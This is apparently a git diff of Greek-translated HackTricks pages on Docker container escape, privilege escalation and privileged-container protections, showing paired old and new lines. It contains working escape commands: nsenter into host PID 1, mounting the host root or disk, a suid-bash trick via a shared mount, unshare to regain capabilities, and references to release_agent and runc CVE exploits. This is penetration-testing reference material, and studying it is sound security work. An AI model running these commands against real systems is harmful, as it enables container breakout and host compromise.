- Στο Dockerfile σας, **προτιμήστε το COPY αντί για το ADD**. Το ADD εξάγει αυτόματα αρχεία zip και μπορεί να αντιγράψει αρχεία από URLs. Το COPY δεν έχει αυτές τις δυνατότητες. Όποτε είναι δυνατόν, αποφύγετε τη χρήση του ADD ώστε να μην είστε ευάλωτοι σε επιθέσεις μέσω απομακρυσμένων URLs και αρχείων Zip.
- Έχετε **χωριστά κοντέινερ για κάθε μικρο-υπηρεσία**
- **Μην τοποθετείτε ssh** μέσα στο κοντέινερ, το “docker exec” μπορεί να χρησιμοποιηθεί για ssh στο Κοντέινερ.
- Έχετε **μικρότερες** εικόνες κοντέινερ
- Έχετε **μικρότερες** εικόνες κοντέινερ.
## Docker Breakout / Privilege Escalation
@ -358,8 +358,8 @@ authz-and-authn-docker-access-authorization-plugin.md
## Hardening Docker
- Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει για δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη κοντέινερ Docker σε παραγωγή. Οι δοκιμές είναι όλες αυτοματοποιημένες και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Πρέπει να εκτελέσετε το εργαλείο από τον host που εκτελεί το docker ή από ένα κοντέινερ με αρκετά προνόμια. Βρείτε **πώς να το εκτελέσετε στο README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
- Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη κοντέινερ Docker σε παραγωγή. Οι δοκιμές είναι όλες αυτοματοποιημένες και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Πρέπει να εκτελέσετε το εργαλείο από τον host που τρέχει το docker ή από ένα κοντέινερ με αρκετά προνόμια. Ανακαλύψτε **πώς να το εκτελέσετε στο README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Αναφορές

View File

@ -2,17 +2,17 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Αυτόματη Αρίθμηση & Διαφυγή
## Automatic Enumeration & Escape
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Μπορεί επίσης να **αριθμήσει τα κοντέινερ**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Αυτό το εργαλείο είναι αρκετά **χρήσιμο για να αριθμήσει το κοντέινερ στο οποίο βρίσκεστε και να προσπαθήσει να διαφύγει αυτόματα**
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Μπορεί επίσης να **καταγράψει κοντέινερ**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Αυτό το εργαλείο είναι αρκετά **χρήσιμο για να καταγράψει το κοντέινερ στο οποίο βρίσκεστε και να προσπαθήσει να διαφύγει αυτόματα**
- [**amicontained**](https://github.com/genuinetools/amicontained): Χρήσιμο εργαλείο για να αποκτήσετε τα δικαιώματα που έχει το κοντέινερ προκειμένου να βρείτε τρόπους να διαφύγετε από αυτό
- [**deepce**](https://github.com/stealthcopter/deepce): Εργαλείο για να αριθμήσει και να διαφύγει από κοντέινερ
- [**deepce**](https://github.com/stealthcopter/deepce): Εργαλείο για να καταγράψει και να διαφύγει από κοντέινερ
- [**grype**](https://github.com/anchore/grype): Λάβετε τα CVEs που περιέχονται στο λογισμικό που είναι εγκατεστημένο στην εικόνα
## Διαφυγή από το Εγκατεστημένο Docker Socket
## Mounted Docker Socket Escape
Αν με κάποιο τρόπο διαπιστώσετε ότι το **docker socket είναι εγκατεστημένο** μέσα στο κοντέινερ docker, θα μπορείτε να διαφύγετε από αυτό.\
Αν με κάποιο τρόπο διαπιστώσετε ότι το **docker socket είναι τοποθετημένο** μέσα στο κοντέινερ docker, θα μπορείτε να διαφύγετε από αυτό.\
Αυτό συμβαίνει συνήθως σε κοντέινερ docker που για κάποιο λόγο χρειάζονται να συνδεθούν με το docker daemon για να εκτελέσουν ενέργειες.
```bash
#Search the socket
@ -33,12 +33,12 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> Σε περίπτωση που το **docker socket είναι σε απροσδόκητη τοποθεσία**, μπορείτε να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`**
> [!TIP]
> Σε περίπτωση που το **docker socket είναι σε αναπάντεχη τοποθεσία**, μπορείτε να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`**
Ο Docker daemon μπορεί επίσης να [ακούει σε μια θύρα (κατά προεπιλογή 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα σε Systemd, η επικοινωνία με τον Docker daemon μπορεί να γίνει μέσω του socket του Systemd `fd://`.
Ο Docker daemon μπορεί επίσης να [ακούει σε μια θύρα (κατά προεπιλογή 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα σε Systemd, η επικοινωνία με τον Docker daemon μπορεί να συμβαίνει μέσω του socket Systemd `fd://`.
> [!NOTE]
> [!TIP]
> Επιπλέον, δώστε προσοχή στα runtime sockets άλλων υψηλού επιπέδου runtimes:
>
> - dockershim: `unix:///var/run/dockershim.sock`
@ -82,7 +82,7 @@ capsh --print
../docker-privileged.md
{{#endref}}
### Προνομιακό + hostPID
### Privileged + hostPID
Με αυτές τις άδειες μπορείτε απλά να **μετακινηθείτε στο namespace μιας διαδικασίας που εκτελείται στον host ως root** όπως το init (pid:1) απλά εκτελώντας: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
@ -92,15 +92,15 @@ docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privileged
Μόνο με την σημαία privileged μπορείτε να προσπαθήσετε να **πρόσβαση στον δίσκο του host** ή να προσπαθήσετε να **ξεφύγετε εκμεταλλευόμενοι το release_agent ή άλλες διαφυγές**.
Μόνο με την σημαία privileged μπορείτε να προσπαθήσετε να **πρόσβαση στον δίσκο του host** ή να προσπαθήσετε να **ξεφύγετε εκμεταλλευόμενοι το release_agent ή άλλες εκ escapes**.
Δοκιμάστε τους παρακάτω παρακάμψεις σε ένα κοντέινερ εκτελώντας:
Δοκιμάστε τις παρακάτω παρακάμψεις σε ένα κοντέινερ εκτελώντας:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Mounting Disk - Poc1
Καλά ρυθμισμένα docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε κακώς ρυθμισμένη docker εντολή όπου η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία έχει καθοριστεί, είναι δυνατόν να αποκτηθούν τα δικαιώματα για να δει κανείς τον δίσκο του host.
Καλά ρυθμισμένα docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε κακώς ρυθμισμένη docker εντολή όπου η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία έχει καθοριστεί, είναι δυνατό να αποκτήσετε τα δικαιώματα για να δείτε τον δίσκο του host.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
@ -109,9 +109,9 @@ docker run --rm -it --privileged ubuntu bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
Και voilà! Τώρα μπορείτε να έχετε πρόσβαση στο σύστημα αρχείων του host γιατί είναι τοποθετημένο στον φάκελο `/mnt/hola`.
Και voilà! Μπορείτε τώρα να έχετε πρόσβαση στο σύστημα αρχείων του host γιατί είναι τοποθετημένο στον φάκελο `/mnt/hola`.
#### Τοποθέτηση Δίσκου - Poc2
#### Mounting Disk - Poc2
Μέσα στο κοντέινερ, ένας επιτιθέμενος μπορεί να προσπαθήσει να αποκτήσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του host μέσω ενός εγγράψιμου hostPath volume που έχει δημιουργηθεί από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο κοντέινερ για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτό το vector επιθέσεων:
```bash
@ -134,7 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Privileged Escape Κατάχρηση υπάρχοντος release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -282,7 +282,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Η εκτέλεση του PoC μέσα σε ένα προνομιούχο κοντέινερ θα πρέπει να παρέχει έξοδο παρόμοια με:
Η εκτέλεση του PoC μέσα σε ένα προνομιακό κοντέινερ θα πρέπει να παρέχει έξοδο παρόμοια με:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -310,10 +310,10 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### Εκμετάλλευση Προνομιακής Διαφυγής μέσω Ευαίσθητων Μοντάρων
#### Privileged Escape Abusing Sensitive Mounts
Υπάρχουν αρκετά αρχεία που μπορεί να είναι μονταρισμένα και να δίνουν **πληροφορίες για τον υποκείμενο host**. Ορισμένα από αυτά μπορεί ακόμη να υποδεικνύουν **κάτι που θα εκτελείται από τον host όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να διαφύγει από το κοντέινερ).\
Η εκμετάλλευση αυτών των αρχείων μπορεί να επιτρέψει:
Υπάρχουν αρκετά αρχεία που μπορεί να είναι προσαρτημένα και να δίνουν **πληροφορίες για τον υποκείμενο host**. Ορισμένα από αυτά μπορεί ακόμη να υποδεικνύουν **κάτι που θα εκτελείται από τον host όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να διαφύγει από το κοντέινερ).\
Η κακή χρήση αυτών των αρχείων μπορεί να επιτρέψει:
- release_agent (έχει καλυφθεί ήδη)
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
@ -327,16 +327,18 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
sensitive-mounts.md
{{#endref}}
### Αυθαίρετα Μοντάρισμα
### Arbitrary Mounts
Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **κοντέινερ έχει κάποιον όγκο μονταρισμένο από τον host**. Εάν αυτός ο όγκος δεν έχει ρυθμιστεί σωστά, μπορεί να είστε σε θέση να **πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε ssh authorized_keys…
Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **κοντέινερ έχει κάποιον όγκο προσαρτημένο από τον host**. Εάν αυτός ο όγκος δεν έχει ρυθμιστεί σωστά, μπορεί να είστε σε θέση να **πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε ssh authorized_keys…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
Ένα άλλο ενδιαφέρον παράδειγμα μπορεί να βρεθεί σε [**αυτό το blog**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce) όπου αναφέρεται ότι οι φάκελοι `/usr/bin/` και `/bin/` του host είναι τοποθετημένοι μέσα στο κοντέινερ, επιτρέποντας στον χρήστη root του κοντέινερ να τροποποιεί τα δυαδικά αρχεία μέσα σε αυτούς τους φακέλους. Επομένως, αν μια εργασία cron χρησιμοποιεί οποιοδήποτε δυαδικό από εκεί, όπως το `/etc/cron.d/popularity-contest`, αυτό επιτρέπει την έξοδο από το κοντέινερ τροποποιώντας ένα δυαδικό που χρησιμοποιείται από την εργασία cron.
### Privilege Escalation with 2 shells and host mount
Αν έχετε πρόσβαση ως **root μέσα σε ένα κοντέινερ** που έχει κάποιον φάκελο από τον host τοποθετημένο και έχετε **διαφύγει ως μη προνομιούχος χρήστης στον host** και έχετε δικαιώματα ανάγνωσης πάνω από τον τοποθετημένο φάκελο.\
Μπορείτε να δημιουργήσετε ένα **bash suid αρχείο** στον **τοποθετημένο φάκελο** μέσα στο **κοντέινερ** και να **το εκτελέσετε από τον host** για privesc.
Αν έχετε πρόσβαση ως **root μέσα σε ένα κοντέινερ** που έχει κάποιον φάκελο από τον host τοποθετημένο και έχετε **ξεφύγει ως μη προνομιούχος χρήστης στον host** και έχετε δικαιώματα ανάγνωσης πάνω στον τοποθετημένο φάκελο.\
Μπορείτε να δημιουργήσετε ένα **bash suid file** στον **τοποθετημένο φάκελο** μέσα στο **κοντέινερ** και να **το εκτελέσετε από τον host** για privesc.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -351,7 +353,7 @@ bash -p #From non priv inside mounted folder
Το Docker προστατεύει από την κακή χρήση των αρχείων συσκευών μπλοκ μέσα σε containers επιβάλλοντας μια πολιτική cgroup που **μπλοκάρει τις λειτουργίες ανάγνωσης/εγγραφής αρχείων συσκευών μπλοκ**. Παρ' όλα αυτά, αν ένα αρχείο συσκευής μπλοκ **δημιουργηθεί μέσα στο container**, γίνεται προσβάσιμο από έξω από το container μέσω του **/proc/PID/root/** καταλόγου. Αυτή η πρόσβαση απαιτεί ο **ιδιοκτήτης της διαδικασίας να είναι ο ίδιος** τόσο μέσα όσο και έξω από το container.
**Exploitation** παράδειγμα από αυτή την [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
**Exploitation** παράδειγμα από αυτή την [**ανάρτηση**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
@ -417,35 +419,35 @@ cat /proc/635813/fd/4
Μπορείτε επίσης να **τερματίσετε διεργασίες και να προκαλέσετε DoS**.
> [!WARNING]
> Εάν έχετε κάπως προνομιακή **πρόσβαση σε μια διεργασία εκτός του κοντέινερ**, θα μπορούσατε να εκτελέσετε κάτι όπως `nsenter --target <pid> --all` ή `nsenter --target <pid> --mount --net --pid --cgroup` για να **εκτελέσετε ένα shell με τους ίδιους περιορισμούς ns** (ελπίζουμε κανέναν) **όπως αυτή η διεργασία.**
> Εάν έχετε με κάποιο τρόπο προνομιακή **πρόσβαση σε μια διεργασία εκτός του κοντέινερ**, θα μπορούσατε να εκτελέσετε κάτι όπως `nsenter --target <pid> --all` ή `nsenter --target <pid> --mount --net --pid --cgroup` για να **εκτελέσετε ένα shell με τους ίδιους περιορισμούς ns** (ελπίζουμε κανέναν) **όπως αυτή η διεργασία.**
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Αν ένα κοντέινερ έχει ρυθμιστεί με τον Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο του κοντέινερ δεν είναι απομονωμένο από τον Docker host (το κοντέινερ μοιράζεται το namespace δικτύου του host) και το κοντέινερ δεν αποκτά τη δική του διεύθυνση IP. Με άλλα λόγια, το **κοντέινερ δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το κοντέινερ μπορεί να **παρακολουθεί ΟΛΗ την κυκλοφορία δικτύου που στέλνει και λαμβάνει ο host** στην κοινή διεπαφή `tcpdump -i eth0`.
Αν ένα κοντέινερ έχει ρυθμιστεί με τον Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο του κοντέινερ δεν είναι απομονωμένο από τον Docker host (το κοντέινερ μοιράζεται το namespace δικτύωσης του host), και το κοντέινερ δεν αποκτά τη δική του διεύθυνση IP. Με άλλα λόγια, το **κοντέινερ δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το κοντέινερ μπορεί να **παρακολουθεί ΟΛΗ την δικτυακή κίνηση που στέλνει και λαμβάνει ο host** στην κοινή διεπαφή `tcpdump -i eth0`.
Για παράδειγμα, μπορείτε να το χρησιμοποιήσετε για να **παρακολουθήσετε και ακόμη και να παραποιήσετε την κυκλοφορία** μεταξύ του host και της μεταδεδομένης παρουσίας.
Για παράδειγμα, μπορείτε να το χρησιμοποιήσετε για να **παρακολουθήσετε και ακόμη και να παραποιήσετε την κίνηση** μεταξύ του host και της μεταδεδομένης παρουσίας.
Όπως στα παρακάτω παραδείγματα:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που είναι δεμένες με το localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στις **άδειες μεταδεδομένων του κόμβου** (οι οποίες μπορεί να είναι διαφορετικές από αυτές που μπορεί να έχει πρόσβαση ένα κοντέινερ).
Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που δένονται στο localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στις **άδειες μεταδεδομένων του κόμβου** (οι οποίες μπορεί να είναι διαφορετικές από αυτές που μπορεί να έχει πρόσβαση ένα κοντέινερ).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
Με το `hostIPC=true`, αποκτάτε πρόσβαση στους πόρους επικοινωνίας διεργασιών (IPC) του κεντρικού υπολογιστή, όπως η **κοινή μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι πόροι IPC χρησιμοποιούνται από άλλες διεργασίες του κεντρικού υπολογιστή ή του pod. Χρησιμοποιήστε το `ipcs` για να εξετάσετε περαιτέρω αυτούς τους μηχανισμούς IPC.
Με το `hostIPC=true`, αποκτάτε πρόσβαση στους πόρους επικοινωνίας διεργασιών (IPC) του host, όπως η **κοινή μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι πόροι IPC χρησιμοποιούνται από άλλες διεργασίες host ή pod. Χρησιμοποιήστε το `ipcs` για να εξετάσετε περαιτέρω αυτούς τους μηχανισμούς IPC.
- **Εξετάστε το /dev/shm** - Αναζητήστε οποιαδήποτε αρχεία σε αυτήν την τοποθεσία κοινής μνήμης: `ls -la /dev/shm`
- **Εξετάστε τις υπάρχουσες εγκαταστάσεις IPC** Μπορείτε να ελέγξετε αν χρησιμοποιούνται κάποιες εγκαταστάσεις IPC με το `/usr/bin/ipcs`. Ελέγξτε το με: `ipcs -a`
### Ανάκτηση ικανοτήτων
### Ανάκτηση δυνατοτήτων
Εάν η syscall **`unshare`** δεν απαγορεύεται, μπορείτε να ανακτήσετε όλες τις ικανότητες εκτελώντας:
Εάν η syscall **`unshare`** δεν απαγορεύεται, μπορείτε να ανακτήσετε όλες τις δυνατότητες εκτελώντας:
```bash
unshare -UrmCpf bash
# Check them with
@ -459,7 +461,7 @@ cat /proc/self/status | grep CapEff
### Runc exploit (CVE-2019-5736)
Σε περίπτωση που μπορείτε να εκτελέσετε `docker exec` ως root (πιθανώς με sudo), προσπαθείτε να κλιμακώσετε τα δικαιώματα σας διαφεύγοντας από ένα container καταχρώντας το CVE-2019-5736 (exploit [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **επικαλύψει** το _**/bin/sh**_ δυαδικό αρχείο του **host** **από ένα container**, έτσι ώστε οποιοσδήποτε εκτελεί docker exec να μπορεί να ενεργοποιήσει το payload.
Σε περίπτωση που μπορείτε να εκτελέσετε `docker exec` ως root (πιθανώς με sudo), προσπαθείτε να κλιμακώσετε τα δικαιώματα σας ξεφεύγοντας από ένα container καταχρώντας το CVE-2019-5736 (exploit [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **επικαλύψει** το _**/bin/sh**_ δυαδικό αρχείο του **host** **από ένα container**, έτσι ώστε οποιοσδήποτε εκτελεί docker exec να μπορεί να ενεργοποιήσει το payload.
Αλλάξτε το payload αναλόγως και κατασκευάστε το main.go με `go build main.go`. Το προκύπτον δυαδικό αρχείο θα πρέπει να τοποθετηθεί στο docker container για εκτέλεση.\
Κατά την εκτέλεση, μόλις εμφανιστεί το `[+] Overwritten /bin/sh successfully` πρέπει να εκτελέσετε το εξής από τη μηχανή host:
@ -470,17 +472,17 @@ cat /proc/self/status | grep CapEff
Για περισσότερες πληροφορίες: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE]
> [!TIP]
> Υπάρχουν άλλες CVEs στις οποίες το container μπορεί να είναι ευάλωτο, μπορείτε να βρείτε μια λίστα στο [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
## Docker Custom Escape
### Επιφάνεια Διαφυγής Docker
- **Namespaces:** Η διαδικασία θα πρέπει να είναι **εντελώς απομονωμένη από άλλες διαδικασίες** μέσω namespaces, έτσι ώστε να μην μπορούμε να διαφύγουμε αλληλεπιδρώντας με άλλες διαδικασίες λόγω namespaces (κατά προεπιλογή δεν μπορούν να επικοινωνούν μέσω IPCs, unix sockets, δικτυακών υπηρεσιών, D-Bus, `/proc` άλλων διαδικασιών).
- **Χρήστης root**: Κατά προεπιλογή, ο χρήστης που εκτελεί τη διαδικασία είναι ο χρήστης root (ωστόσο τα δικαιώματά του είναι περιορισμένα).
- **Δυνατότητες**: Το Docker αφήνει τις εξής δυνατότητες: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: Αυτές είναι οι syscalls που ο **χρήστης root δεν θα μπορεί να καλέσει** (λόγω έλλειψης δυνατοτήτων + Seccomp). Οι άλλες syscalls θα μπορούσαν να χρησιμοποιηθούν για να προσπαθήσουν να διαφύγουν.
- **Namespaces:** Η διαδικασία θα πρέπει να είναι **εντελώς απομονωμένη από άλλες διαδικασίες** μέσω namespaces, έτσι ώστε να μην μπορούμε να ξεφύγουμε αλληλεπιδρώντας με άλλες διαδικασίες λόγω namespaces (κατά προεπιλογή δεν μπορούν να επικοινωνούν μέσω IPCs, unix sockets, δικτυακών υπηρεσιών, D-Bus, `/proc` άλλων διαδικασιών).
- **Root user**: Κατά προεπιλογή, ο χρήστης που εκτελεί τη διαδικασία είναι ο root user (ωστόσο τα δικαιώματά του είναι περιορισμένα).
- **Capabilities**: Το Docker αφήνει τις εξής δυνατότητες: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: Αυτές είναι οι syscalls που ο **root user δεν θα μπορεί να καλέσει** (λόγω έλλειψης δυνατοτήτων + Seccomp). Οι άλλες syscalls θα μπορούσαν να χρησιμοποιηθούν για να προσπαθήσουν να ξεφύγουν.
{{#tabs}}
{{#tab name="x64 syscalls"}}

View File

@ -8,7 +8,7 @@
### Mount /dev
Σε ένα privileged κοντέινερ, όλες οι **συσκευές μπορούν να προσπελαστούν στο `/dev/`**. Επομένως, μπορείτε να **ξεφύγετε** με το **mounting** του δίσκου του host.
Σε ένα privileged κοντέινερ, όλες οι ** συσκευές είναι προσβάσιμες στο `/dev/`**. Επομένως, μπορείτε να **escape** με το **mounting** του δίσκου του host.
{{#tabs}}
{{#tab name="Inside default container"}}
@ -20,7 +20,7 @@ core full null pts shm stdin tty zero
```
{{#endtab}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -49,7 +49,7 @@ cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,c
```
{{#endtab}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
@ -57,11 +57,11 @@ mount | grep '(ro'
{{#endtab}}
{{#endtabs}}
### Απόκρυψη πάνω από τα συστήματα αρχείων του πυρήνα
### Απόκρυψη πάνω από τα συστήματα αρχείων πυρήνα
Το **/proc** σύστημα αρχείων είναι επιλεκτικά εγγράψιμο, αλλά για λόγους ασφαλείας, ορισμένα μέρη είναι προστατευμένα από πρόσβαση εγγραφής και ανάγνωσης, επικαλύπτοντάς τα με **tmpfs**, διασφαλίζοντας ότι οι διαδικασίες του κοντέινερ δεν μπορούν να έχουν πρόσβαση σε ευαίσθητες περιοχές.
Το **/proc** σύστημα αρχείων είναι επιλεκτικά εγγράψιμο, αλλά για λόγους ασφαλείας, ορισμένα μέρη είναι προστατευμένα από πρόσβαση εγγραφής και ανάγνωσης, επικαλύπτοντάς τα με **tmpfs**, διασφαλίζοντας ότι οι διαδικασίες κοντέινερ δεν μπορούν να έχουν πρόσβαση σε ευαίσθητες περιοχές.
> [!NOTE] > **tmpfs** είναι ένα σύστημα αρχείων που αποθηκεύει όλα τα αρχεία στη εικονική μνήμη. Το tmpfs δεν δημιουργεί κανένα αρχείο στον σκληρό σας δίσκο. Έτσι, αν αποσυνδέσετε ένα σύστημα αρχείων tmpfs, όλα τα αρχεία που βρίσκονται σε αυτό χάνονται για πάντα.
> [!NOTE] > Το **tmpfs** είναι ένα σύστημα αρχείων που αποθηκεύει όλα τα αρχεία στη εικονική μνήμη. Το tmpfs δεν δημιουργεί κανένα αρχείο στον σκληρό σας δίσκο. Έτσι, αν αποσυνδέσετε ένα σύστημα αρχείων tmpfs, όλα τα αρχεία που βρίσκονται σε αυτό χάνονται για πάντα.
{{#tabs}}
{{#tab name="Inside default container"}}
@ -74,7 +74,7 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{{#endtab}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
@ -102,7 +102,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
```
{{#endtab}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -114,11 +114,11 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
{{#endtab}}
{{#endtabs}}
Μπορείτε να χειριστείτε τις δυνατότητες που είναι διαθέσιμες σε ένα κοντέινερ χωρίς να τρέχετε σε `--privileged` λειτουργία χρησιμοποιώντας τις σημαίες `--cap-add` και `--cap-drop`.
Μπορείτε να χειριστείτε τις δυνατότητες που είναι διαθέσιμες σε ένα κοντέινερ χωρίς να τρέχετε σε λειτουργία `--privileged` χρησιμοποιώντας τις σημαίες `--cap-add` και `--cap-drop`.
### Seccomp
**Seccomp** είναι χρήσιμο για να **περιορίσει** τις **syscalls** που μπορεί να καλέσει ένα κοντέινερ. Ένα προεπιλεγμένο προφίλ seccomp είναι ενεργοποιημένο από προεπιλογή όταν τρέχουν κοντέινερ docker, αλλά σε privileged mode είναι απενεργοποιημένο. Μάθετε περισσότερα για το Seccomp εδώ:
**Seccomp** είναι χρήσιμο για να **περιορίσει** τις **syscalls** που μπορεί να καλέσει ένα κοντέινερ. Ένα προεπιλεγμένο προφίλ seccomp είναι ενεργοποιημένο από προεπιλογή όταν τρέχουν κοντέινερ docker, αλλά σε λειτουργία privileged είναι απενεργοποιημένο. Μάθετε περισσότερα για το Seccomp εδώ:
{{#ref}}
seccomp.md
@ -134,7 +134,7 @@ Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
@ -147,11 +147,11 @@ Seccomp_filters: 0
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Επίσης, σημειώστε ότι όταν χρησιμοποιούνται Docker (ή άλλες CRIs) σε ένα **Kubernetes** cluster, το **seccomp filter είναι απενεργοποιημένο από προεπιλογή**
Επίσης, σημειώστε ότι όταν χρησιμοποιούνται οι Docker (ή άλλες CRIs) σε ένα **Kubernetes** cluster, το **seccomp filter είναι απενεργοποιημένο από προεπιλογή**.
### AppArmor
**AppArmor** είναι μια βελτίωση του πυρήνα για να περιορίσει **containers** σε ένα **περιορισμένο** σύνολο **πόρων** με **προφίλ ανά πρόγραμμα**. Όταν εκτελείτε με την επιλογή `--privileged`, αυτή η προστασία είναι απενεργοποιημένη.
